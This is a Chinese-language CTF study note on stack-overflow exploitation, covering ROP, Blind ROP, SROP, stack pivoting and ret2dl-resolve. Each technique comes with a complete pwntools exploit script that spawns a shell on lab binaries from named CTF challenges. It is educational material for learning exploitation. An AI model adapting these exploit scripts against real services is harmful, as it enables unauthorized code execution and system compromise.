栈溢出原理 由于C语言对数组引用不做任何边界检查,从而导致缓冲区溢出成为一种很常见的漏洞。由于栈上保存着局部变量和一些状态信息(寄存器值、返回地址等),一旦发生严重的溢出,攻击者可以通过覆盖返回地址来执行任意代码,利用方法包括shellcode注入、retlibc,rop等
危险函数 大多数缓冲区溢出问题都是错误地使用了一些危险函数所导致的。
scanf, gets这类 
strcpy, strcat, sprintf这一类 
 
返回导向编程 ROP是Return-Oriented Programming 的缩写,因为引入了NX机制,数据所在的内存页被标记为不可执行,此时在执行shellcode就会抛出异常,因为注入新代码不可行,所以就利用程序中已有的代码。
使用ROP攻击,首先需要扫描文件,提取出可用的gadget片段(通常以ret指令结尾),然后将这些gadget进行组合,来达到攻击者的目的。举个例子,exit(0)的shellcode由下面4条连续的指令组成。
1 2 3 4 5 ; exit(0) shellcode xor eax, eax xor ebx, ebx inc eax int 0x80 
ROP链为
1 2 3 4 5 6 7 8 ; exit(0) ROP chain xor eax, eax	;gadget 1		地址A ret xor ebx, ebx	;gadget 2		地址B ret inc eax		    ;gadget 3		地址C ret int 0x80	    ;gadget 4		地址D 
栈为(上面为低,下面为高)
1 2 3 4 地址A		;原来的EIP的位置  低地址 地址B 地址C 地址D		;			高地址 
示例 程序源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include  <stdio.h>  #include  <unistd.h>  #include  <dlfcn.h>  void  vuln_func ()     char  buf[128 ];     read(STDIN_FILENO, buf, 256 ); } int  main ()     void  * handle = dlopen("libc.so.6" , RTLD_NOW | RTLD_GLOBAL);     printf ("%p\n" , dlsym(handle, "system" ));     vuln_func();     write(STDOUT_FILENO, "Hello world!\n" , 13 );          return  0 ; } 
1 gcc -fno-stack-protector -z noexecstack -pie -fpie main.c -ldl -o rop64 
为了方便测试,这个地方直接打印出了system的地址,来模拟信息泄露。思路就是根据system的地址找到Libc的基地址,然后找到/bin/sh的地址 + gadget(pop rdi; ret) ,将rdi传入/bin/sh的地址,然后去调用system来获取shell
1 2 3 4 5 6 7 8 9 10 ╭─ ~/Desktop/testC/stack_test   ╰─ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"  | grep rdi 0x0000000000022394 : pop rdi ; pop rbp ; ret 0x000000000002164f : pop rdi ; ret ╭─ ~/Desktop/testC/stack_test                                                                                                             ╰─ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"           Strings information ============================================================ 0x00000000001b3d88 : /bin/sh 
exp1: ROP攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from  pwn import  *context.log_level = "debug"  libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) io = process("rop64" ) system_addr = int (io.recvuntil(b"\n" )[:-1 ], 16 ) log.info("system_addr: %s"  % hex (system_addr)) libc_base = system_addr - libc.symbols['system' ] log.info("libc_base: %s"  % hex (libc_base)) binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) log.info("binsh_addr: %s"  % hex (binsh_addr)) pop_rdi_addr = libc_base + 0x2164f  ret_addr = libc_base + 0x08aa  payload = b'A'  * 136  + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) io.send(payload) io.interactive() 
这里的payload要在中间+ p64(ret_addr), 这是为了对齐 ,具体看下面的参考文章
EXP2: 利用one_gadget,execve 函数  其实就是retlibc的感觉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  pwn import  *context.log_level = "debug"  libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) io = process("rop64" ) system_addr = int (io.recvuntil(b"\n" )[:-1 ], 16 ) log.info("system_addr: %s"  % hex (system_addr)) libc_base = system_addr - libc.symbols['system' ] log.info("libc_base: %s"  % hex (libc_base)) one_gadget = libc_base + 0x4f302  payload = b'A'  * 136  + p64(one_gadget) payload = payload.ljust(250 , b'\x00' ) io.send(payload) io.interactive() 
参考文章:
http://picpo.top/2021/07/19/ubuntu18%E4%BB%A5%E4%B8%8A%E7%B3%BB%E7%BB%9F64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E6%97%B6%EF%BC%8C%E6%89%80%E9%9C%80%E6%B3%A8%E6%84%8F%E7%9A%84%E5%A0%86/ 
http://blog.eonew.cn/2019-05-11.%E5%9C%A8%E4%B8%80%E4%BA%9B64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E5%A4%B1%E8%B4%A5%E9%97%AE%E9%A2%98.html 
https://www.cnblogs.com/tcctw/p/11333743.html 
 
Blind ROP BROP,即Blind Return Oriented Programming, BROP能够在无法获得二进制程序的情况下,基于远程服务崩溃与否(连接是否中断),进行ROP攻击获得shell,可用于开启了ASLR、NX和canaries的64位Linux
BROP原理 传统的ROP攻击需要攻击者通过逆向等手段、从二进制文件中提取可用的gadgets,而BROP在符合一定的前提条件下,无需获得二进制文件。其中两个必要的条件是↓
目标程序存在栈溢出漏洞,并且可以稳定触发 
目标进程在崩溃后回立即重启,并且重启后的进程内存不会重新随机化,这样即使目标机器开启了ASLR也没有影响 
 
BROP攻击的主要阶段如下
Stack reading  ,泄露canaries和返回地址,然后从返回地址可以推算出程序的加载地址,用于后续gadgets的扫描。泄露方法是每次溢出一个字节,看程序是否崩溃。
Blind ROP , 这一阶段用于远程搜索gadgets,搜索gadgets的思路也是基于溢出返回地址后判断程序是否崩溃。要搜到stop gadgets,即让程序挂起的一些指令,例如进入无限循环,sleep或read啥的,因为要利用这个stop gadgets来搜索对我们有用的gadgets,即下面这样↓
1 2 payload = b'A'  * buf_size + p64(gadgets) + ... +p64(stop gadgets)	 payload = b'A'  * buf_size + p64(gadgets)							   
一般可以搜通用的gadgets,像下面这种
1 2 3 4 5 6 7 .text:000000000040078A 5B                                            pop     rbx .text:000000000040078B 5D                                            pop     rbp .text:000000000040078C 41 5C                                         pop     r12 .text:000000000040078E 41 5D                                         pop     r13 .text:0000000000400790 41 5E                                         pop     r14 .text:0000000000400792 41 5F                                         pop     r15 .text:0000000000400794 C3                                            retn 
Build the exploit , 利用得到的gadgets构造ROP,将程序从远程服务器的内存里传回来,BROP就转换成了普通的ROP攻击
 
HCTF 2016: brop exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 from  pwn import  *from  binascii import  *context(os='linux' , arch='amd64' ) def  get_buffer_size ():    for  i in  range (1 , 100 ):         payload = 'A'  * i         buffsize = len (payload) - 1          try :             io = remote("127.0.0.1" , 10001 )             io.sendafter("ssword?\n" , payload)             io.recvline()             io.close()             log.info("bad buffsize: %d"  % buffsize)         except  EOFError as  e:             io.close()             log.info("buffsize: %d"  % buffsize)             return  buffsize def  get_stop_addr (buf_size ):    addr = 0x400000      while  True :         sleep(0.1 )         addr += 1          payload = b'A'  * buf_size         payload += p64(addr)         try :             io = remote('127.0.0.1' , 10001 )             io.sendafter("ssword?\n" , payload)             io.recvline()             io.close()             log.info("stop address: 0x%x"  % addr)             return  addr         except  EOFError as  e:             io.close()             log.info("bad 0x%x"  % addr)         except :             log.info("Can't connect" )             addr -= 1  def  get_gadgets_addr (buf_size, stop_addr ):    addr = stop_addr     sleep(0.1 )     while  True :         addr += 1          payload = b'A'  * buf_size + p64(addr) + b'AAAAAAAA'  * 6          try :             io = remote('127.0.0.1' , 10001 )             io.sendafter("ssword?\n" , payload+ p64(stop_addr))             io.recv(timeout=1 )             io.close()             log.info("find address: 0x%x"  % addr)             try :                         io = remote('127.0.0.1' , 10001 )                 io.sendafter("ssword?\n" , payload)                 io.recv(timeout=1 )                 io.close()                 log.info("bad address : 0x%x"  % addr)             except :                 io.close()                 log.info("gadget address: 0x%x"  % addr)                 return  addr         except  EOFError as  e:             io.close()             log.info("bad: 0x%x"  % addr)         except :             log.info("Can't connect" )             addr -= 1  def  get_puts_call_addr (buf_size, stop_addr, gadgets_addr ):    addr = stop_addr     while  True :         sleep(0.1 )         addr += 1          payload = b'A'  * buf_size + p64(gadgets_addr + 9 ) + p64(0x400000 ) + p64(addr) + p64(stop_addr)         try :             io = remote('127.0.0.1' , 10001 )             io.sendafter("ssword?\n" , payload)             if  io.recv().startswith(b'\x7fELF' ):                 log.info("puts call address:0x%x"  % addr)                 io.close()                 return  addr             log.info("bad: 0x%x"  % addr)             io.close()         except  EOFError as  e:             io.close()             log.info("bad: 0x%x"  % addr)         except :             log.info("Can't connect" )             addr -= 1  def  dump_memory (buf_size, stop_addr, gadgets_addr, puts_call_addr, start_addr, end_addr ):    result = b''      while  start_addr < end_addr:         sleep(0.1 )         payload = b'A'  * buf_size         payload+= p64(gadgets_addr+9 )         payload+= p64(start_addr)         payload+= p64(puts_call_addr)         payload += p64(stop_addr)         try :             io = remote('127.0.0.1' , 10001 )             io.sendafter("ssword?\n" , payload)             data = io.recv()[:-1 ]             if  data == b'' :                 data = b"\x00"              log.info("leaking: 0x%x ---> %s"  % (start_addr, hexlify(data)))             result += data             start_addr += len (data)             io.close()         except  EOFError:             log.info("EOF" )             return  result         except :             log.info("Can't connect" )     return  result      def  get_puts_addr (buf_size, stop_addr, gadgets_addr, puts_call_addr, puts_got ):    payload = b'A'  * buf_size     payload+= p64(gadgets_addr+9 )     payload+= p64(puts_got)     payload+= p64(puts_call_addr)     payload += p64(stop_addr)     io = remote('127.0.0.1' , 10001 )     io.sendafter("ssword?\n" , payload)     data = io.recvline()[:-1 ]     data = u64(data.ljust(8 , b"\x00" ))     log.info("puts address: 0x%x"  % data)     return  data def  pwn (gadgets_addr, system_addr, binsh_addr ):    payload = b'A'  * 72  + p64(gadgets_addr+10 ) +p64(gadgets_addr+9 ) + p64(binsh_addr) + p64(system_addr)     io = remote('127.0.0.1' , 10001 )     io.sendafter("ssword?\n" , payload)     io.interactive() def  leak2 (addr ):    buf_size = 72      gadgets_addr = 0x40078a      puts_call_addr = 0x400547      payload = b'A'  * buf_size     payload+= p64(gadgets_addr+9 )     payload+= p64(addr)     payload+= p64(puts_call_addr)     io = remote('127.0.0.1' , 10001 )     io.sendafter("ssword?\n" , payload)     sleep(0.2 )     data = io.recv()[:-1 ]     if  data == b'' :         data = b"\x00"      log.info('leaking: {0}: {1}' .format (hex (addr), hexlify(data)))     io.close()     return  data def  leak1 (puts_addr ):    system_addr = puts_addr - 0x80970  + 0x4f420      binsh_addr = puts_addr - 0x80970  + 0x1b3d88      return  system_addr, binsh_addr def  get_ret_addr ():    retaddr = b""      for  i in  range (8 ):         j = 0          while  j <= 255 :             try :                 tmp_addr = bytes ([j])                 io = remote('127.0.0.1' , 10001 )                 payload = b'A'  * 72  + retaddr + tmp_addr                 io.sendafter("ssword?\n" , payload)                 sleep(0.2 )                 tmp_recv = io.recv(timeout=1 )                 if  b'No password'  in  tmp_recv:                     retaddr = retaddr + tmp_addr                     log.info("------------>correct address: {}" .format (hexlify(retaddr)))                     io.close()                     j = j + 1                      break                  else :                     log.info("bad address: {}" .format (hexlify(tmp_addr)))                     j = j + 1                      io.close()                     continue              except  EOFError:                 io.close()                 j = j + 1                  log.info("bad address: {}" .format (hexlify(tmp_addr)))                 continue              except :                 log.info("Cant't connect" )                 continue      log.info("return address: {}" .format (hexlify(retaddr[::-1 ])))     return  retaddr get_ret_addr() 
参考文章:https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html 
 
SROP SROP与ROP类似,通过栈溢出,覆盖返回地址并执行gadgets控制执行流。不同的是,SROP使用能够调用sigreturn的gadget覆盖返回地址,并将一个伪造的sigcontext结构体放在栈中。这个地方有点类似windows那个挂起线程,然后设置线程上下文,然后恢复线程的 设置线程上下文然后恢复线程。
SROP原理 Linux系统调用 Linux的系统调用中,64位和32位的系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/unistd_32.h中,另外还需要查看/usr/include/bits/syscall.h
比如write的系统调用号是1,就往RAX里存入1,执行syscall,其实就是执行的write函数,当然rdi, rsi, rdx 得存入参数才可以
1 2 3 4 5 6 7 #ifdef  __NR_writev # define  SYS_writev __NR_writev #endif  ... #define  __NR_write 1 
int 0x80 即80中断, 是最老的系统函数调用方式
syscall/sysret 是amd64 制定的标准, 也是目前的x86 64位的标准,即amd64
sysenter/syssysexit 是inter制定的x86 64位标准, 目前已被放弃
vdso 是linux内核虚拟出的so, 实现了int 80 和 syscall,调用方式为 vsyscall
signal机制 当有中断或异常发送时,内核会向某个进程发送一个signal,该进程被挂起并进入内核,然后内核为其保存相应的上下文,再跳转到之前注册好的signal handler中进程处理,待signal handler返回后,内核为该进程恢复之前保存的上下文,最终恢复执行。(这个地方好像windows的异常处理啊),具体步骤如下。
一个signal frame被添加到栈,这个frame中包含了当前寄存器的值和一些signal信息; 
一个新的返回地址被添加到栈顶,这个返回地址指向sigreturn 系统调用; 
signal handler被调用,signal handler的行为取决于收到了什么signal 
signal handler执行完后,如果程序没有终止,则返回地址用于执行sigreturn 系统调用 
sigreturn 利用 signal frame恢复所有的寄存器以回到之前的状态。 
最后,程序执行继续。 
 
SROP,即Sigreturn Oriented Programming,就可以利用上面的第5步来进行攻击,即将返回地址覆盖为sigreturn gadget的指针,如果只有syscall,将RAX改为0XF,效果是一样的,然后在栈上覆盖上fake frame即可
参考文章 https://energygreek.github.io/2020/11/09/system-calls-method/ 
 
1 2 3 4 5 6 context.arch = 'i386'  SigreturnFrame(kernel='i386' )	 SigreturnFrame(kernel='amd64' )	 context.arch = 'amd64'  SigreturnFrame(kernel='amd64' )	 
Backdoor CTF2017: Fun Signals 什么保护都没有开启
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 objdump -d funsignals_player_bin -M intel   funsignals_player_bin:     file format elf64-x86-64 Disassembly of section .shellcode: 0000000010000000 <__start>:     10000000:	31 c0                	xor    eax,eax     10000002:	31 ff                	xor    edi,edi     10000004:	31 d2                	xor    edx,edx     10000006:	b6 04                	mov    dh,0x4     10000008:	48 89 e6             	mov    rsi,rsp     1000000b:	0f 05                	syscall      1000000d:	31 ff                	xor    edi,edi     1000000f:	6a 0f                	push   0xf     10000011:	58                   	pop    rax     10000012:	0f 05                	syscall      10000014:	cc                   	int3    0000000010000015 <syscall>:     10000015:	0f 05                	syscall      10000017:	48 31 ff             	xor    rdi,rdi     1000001a:	48 c7 c0 3c 00 00 00 	mov    rax,0x3c     10000021:	0f 05                	syscall  0000000010000023 <flag>:     10000023:	66 61                	data16 (bad)      10000025:	6b 65 5f 66          	imul   esp,DWORD PTR [rbp+0x5f],0x66     10000029:	6c                   	ins    BYTE PTR es:[rdi],dx     1000002a:	61                   	(bad)       1000002b:	67 5f                	addr32 pop rdi     1000002d:	68 65 72 65 5f       	push   0x5f657265     10000032:	61                   	(bad)       10000033:	73 5f                	jae    10000094 <flag+0x71>     10000035:	6f                   	outs   dx,DWORD PTR ds:[rsi]     10000036:	72 69                	jb     100000a1 <flag+0x7e>     10000038:	67 69 6e 61 6c 5f 69 	imul   ebp,DWORD PTR [esi+0x61],0x73695f6c     1000003f:	73      10000040:	5f                   	pop    rdi     10000041:	61                   	(bad)       10000042:	74 5f                	je     100000a3 <flag+0x80>     10000044:	73 65                	jae    100000ab <flag+0x88>     10000046:	72 76                	jb     100000be <flag+0x9b>     10000048:	65 72 00             	gs jb  1000004b <flag+0x28> 
可以发现程序,先执行了read命令,rdx,0x400,rsi是rsp rdi是0 ,执行read读入数据,把数据写到栈上,然后在执行调用号为0xf的系统调用
1 2 #define  __NR_read 0 #define  __NR_rt_sigreturn 15 
所以只需要构造sigreturn frame,然后读入就OK了, exp为↓
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from  pwn import  *elf = ELF("./funsignals_player_bin" ) io = process("./funsignals_player_bin" ) context.clear() context.arch = "amd64"  frame = SigreturnFrame() frame.rax = constants.SYS_write frame.rdi = constants.STDOUT_FILENO frame.rsi = elf.symbols['flag' ] frame.rdx = 50  frame.rip = elf.symbols['syscall' ] io.send(bytes (frame)) io.interactive() 
stack pivoting stack pivoting 是一种将程序真实的堆栈转移到伪造堆栈上的技术,可用于绕过不可执行栈保护或者处理栈空间过小的情况。下面通过1个例题(32位的,书上还有个64位的,但是基本一样,不写了。。)来说下这种技术,这是ROP Emporium上的那个题
pivot32 IDA打开分析
是在pwnme这个函数中存在栈溢出,但是只溢出了16个字节,显然对于构造ROP链是不够的,所以我们要用到栈转移技术,怎么转移呢?其实就是用了leave ret指令,leave ret,其实就跟mov esp, ebp; pop ebp; pop rip的效果是一样的,
我们把old ebp的位置覆盖为leakaddr - 4.然后执行mov esp,ebp, 所以现在esp就是leakaddr - 4了,然后再执行pop ebp, leak addr - 4这个位置的数就给了ebp了,然后esp执行leak addr,再执行ret的时候,就从leak addr这里取地址了,这样就完成了栈转移
回到这个例题,我们第一次输入的数据存到新栈那里,这里就是真正的要构造的ROP了,目的是为了执行 call ret2win来获取flag(这个函数应该是作者定义的,放到了libpivot32.so中),第二次输入的数据就存在旧栈那里,目的就是转移栈。
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from  pwn import  *io = process("pivot32" ) elf = ELF("pivot32" ) lib = ELF("libpivot32.so" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.log_level = "debug"  pop_eax = 0x0804882C  xchg_eax_esp = 0x804882E  mov_eax_eax = 0x8048830  add_eax_ebx = 0x08048833  leave_ret = 0x080485f5  pop_ebx = 0x080484a9  call_eax=  0x080485f0  foothold_plt = elf.plt['foothold_function' ] foothold_got = elf.got['foothold_function' ] offset = lib.symbols['ret2win' ] - lib.symbols['foothold_function' ] io.recvuntil(b'pivot: ' ) leakaddress = io.recvuntil(b'\n' ) leakaddress = int (leakaddress.decode(), 16 ) log.info("leakaddress: 0x%x"  % leakaddress) def  step1 ():    payload = p32(foothold_plt)     payload += p32(pop_eax)     payload += p32(foothold_got)     payload += p32(mov_eax_eax)     payload += p32(pop_ebx)     payload += p32(offset)     payload += p32(add_eax_ebx)     payload += p32(call_eax)     io.sendafter(b'> ' , payload) def  step2 ():    payload = b'A'  * 40      payload += p32(leakaddress - 4 )      payload += p32(leave_ret)     io.sendafter(b'> ' , payload) if  __name__ == "__main__" :    step1()     step2()     io.recvall() 
GreHack CTF2017: beerfighter IDA打开分析,发现在这个地方存在溢出,程序中存在syscall,所以采用srop的技术,然后由于我们最终调用syscall,是把rax设置为SYS_execve,然后rdi是/bin/sh,所以我们还需要提前调用read,即syscall,rax为SYS_read,把 /bin/sh写入进去,写入到.data段,下面是EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from  pwn import  *context.log_level = "debug"  elf = ELF("beerfighter" ) io = process("beerfighter" ) syscall_addr = 0x00400764  context.arch = "amd64"  data_address = elf.get_section_by_name(".data" ).header.sh_addr + 0x10         base_address = data_address + 8                                   pop_rax = 0x040077a  sigret_bytes = p64(pop_rax) + p64(constants.SYS_rt_sigreturn)+p64(syscall_addr)       frame2 = SigreturnFrame() frame2.rax = constants.SYS_execve frame2.rdi = data_address       frame2.rsi = 0        frame2.rdx = 0         frame2.rip = syscall_addr frame1 = SigreturnFrame() frame1.rax = constants.SYS_read frame1.rdi = constants.STDIN_FILENO       frame1.rsi = data_address       frame1.rdx = len (bytes (frame2)) + 32  frame1.rsp = base_address        frame1.rip = syscall_addr def  step_1 ():    payload1 = b'A'  * (1040  + 8 )     payload1 += sigret_bytes     payload1 += bytes (frame1)     io.sendlineafter(b' > ' , b'1' )     io.sendlineafter(b' > ' , b'0' )     io.sendlineafter(b' > ' , payload1)     io.sendlineafter(b' > ' , b'3' ) def  step_2 ():    payload2 = b'/bin/sh\x00'      payload2 += sigret_bytes     payload2 += bytes (frame2)     io.sendline(payload2)     io.interactive() if  __name__ == "__main__" :    step_1()     step_2() 
ret2dl-resolve 现代漏洞利用通常包含两个阶段
第一步先通过信息泄露获得程序的内存布局 
第二部才进行实际的漏洞利用 
 
然而从程序中获得内存布局的方法并不总是可行的,且获得的被破坏的内存有时并不可靠。于是就有了ret2dl-resolve,巧妙的利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露,就可以直接标识关键函数的位置并调用。( 我感觉这个ret2dl-resolve有点类似于windows下的那个GetProcAddress函数,就是动态获取函数的地址。。
ret2dl-resolve原理 动态装载器负责将二进制文件及依赖库加载到内存,该过程包含了对导入符号(函数和全局变量)的解析。
每个符号都是Elf_Sym结构体,这些符号又共同组成了.dynsym段, Elf32_Sym的结构体如下
1 2 3 4 5 6 7 8 9 typedef  struct {   Elf32_Word    st_name;         /4 字节* Symbol name  (string tbl index)  */ 相对于.dynstr段的偏移    Elf32_Addr    st_value ;        /4 字节* Symbol value */		导出函数的地址,不导出时为NULL   Elf32_Word    st_size;         /4 字节* Symbol size */   unsigned  char     st_info;      /1 字节* Symbol type and  binding */		   unsigned  char     st_other;     /1 字节* Symbol visibility */   Elf32_Section    st_shndx;     /2 字节* Section index */ } Elf32_Sym; 
对于st_info段
1 2 3 #define  ELF32_ST_BIND(val)      (((unsigned char) (val)) >> 4) #define  ELF32_ST_TYPE(val)      ((val) & 0xf) #define  ELF32_ST_INFO(bind, type)   (((bind) << 4) + ((type) & 0xf)) 
对于pwn来说,只考虑st_name, st_info即可
1 2 3 4 5 st_name = 被调用函数名字符串地址相对于.dynstr段的偏移 st_info = (0x1  << 4 ) + 0x2   
在IDA中看到的.dynsym和.dynstr如下
导入符号的解析需要重定位,每个重定位项都是Elf_Rel结构体的实例,这些项又共同组成了.rel.plt段(用于导入函数)和.rel.dyn段(用于导入全局变量)。Elf_Rel的结构如下
1 2 3 4 5 typedef  struct {   Elf32_Addr    r_offset;        /4 字节* Address */	   Elf32_Word    r_info;          /4 字节* Relocation type and  symbol index */ } Elf32_Rel; 
对于r_offset项,是GOT表对应项的地址,r_info的高位3个字节用于标识该符号在.dymsym段的位置,即无符号下标,低1个字节是type,如果是6则是变量,为7则为函数,在IDA中看到的.rel.plt和.rel.dyn如图
_dl_runtime_resolve()函数有2个参数,第一个参数是link_map对象的地址,第二个参数是导入函数的标识(Elf_Rel在.rel.plt段中的偏移),函数参数link_map_obj用于获取解析导入函数所需的信息,参数reloc_index标识了解析哪一个导入函数。
符号解析过程如图所示,这里要注意下32位和64位程序结构体会有所区别,而且这个.dl_runtime_resolve的第二个参数,对于32位程序是Elf_Rel在.rel.plt的偏移,对于64位程序是对应Elf_Rel在.rel.plt的索引
2种攻击场景 RELRO保护机制会影响延迟绑定,因此也会影响retdl_resolve:
Partial RELRO: 包括.dynamic段在内的一些段会被标识为只读 
Full RELRO: 在Partial RELRO的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt段被完全初始化为目标函数的地址,并标记为只读 
 
下面来看2个简单的攻击场景
关闭RELRO,.dynamic可写,因为动态装载器是通过.dynamic段的DT_STRTAB条目来获取.dynstr段的地址,所以我们可以修改DT_STRTAB来使其指向一个伪造的.dynstr段,在那里伪造假的字符串,这样在执行printf的时候,可以执行execve 
 
开启Partial RELRO保护,使.dynamic段不可写,我们知道_dl_runtime_resolve的第二个参数是对应Elf_Rel相对.rel.plt的偏移,当这个数字非常大的时候,会超出.rel.plt段,我们使其正好落在.bss段,在那里伪造一个Elf_Rel,使r_offset的值指向一个可写的内存地址(用于保存解析后的地址),构造r_info。使其指向一个位于它后面的Elf_Sym,然后Elf_Sym中的st_name指向它后面的函数名字符串 
 
XDCTF 2015:  pwn200 IDA打开分析,在这个位置存在栈溢出漏洞,思路是在这个地方利用stack pivot将栈转移到bss段,然后在.bss段伪造Elf_Rel,Elf_Sym和函数名
EXP为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from  pwn import  *context.log_level = "debug"  elf = ELF("pwn200" ) io = process("pwn200" ) io.recvline("2015~!\n" ) pppr_addr = 0x080485cd  pop_ebp_addr = 0x08048453  leave_ret_addr = 0x08048481  write_plt = elf.plt['write' ] write_got = elf.got['write' ] read_plt = elf.plt['read' ] plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr bss_addr = elf.get_section_by_name('.bss' ).header.sh_addr + 0x800  def  stack_pivot ():    payload1 = b'A'  * 112             payload1 += p32(read_plt)        payload1 += p32(pppr_addr)     payload1 += p32(0 ) + p32(bss_addr) + p32(200 )     payload1 += p32(pop_ebp_addr) + p32(bss_addr)      payload1 += p32(leave_ret_addr)          io.send(payload1)      def  pwn ():    r_sym = (bss_addr + 40  - dynsym) // 0x10      r_type = 0x7      r_info = (r_sym << 8 ) + (r_type & 0xff )     fake_reloc = p32(write_got) + p32(r_info)     st_name = bss_addr + 56  - dynstr             st_bind = 0x1      st_type = 0x2      st_info = (st_bind << 4 ) + (st_type & 0xf )     fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(st_info)     reloc_index = bss_addr + 28  - rel_plt	     payload2 = b'AAAA'       payload2 += p32(plt_0)     payload2 += p32(reloc_index)             payload2 += b'AAAA'      payload2 += p32(bss_addr + 80 )		     payload2 += b'A'  * 8      payload2 += fake_reloc     payload2 += b'A'  * 4                  payload2 += fake_sym             payload2 += b"system\x00\x00"      payload2 = payload2.ljust(80 , b'A' )     payload2 += b'/bin/sh\x00'      payload2 = payload2.ljust(100 , b'A' )               io.sendline(payload2)          io.interactive() if  __name__ == "__main__" :    stack_pivot()     pwn() 
注意!:bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x800 这个地方卡了好久,要+0x800左右的数据才能跑通,加的少了估计会有其他函数也用到这个内存的数据,会冲突,导致跑不通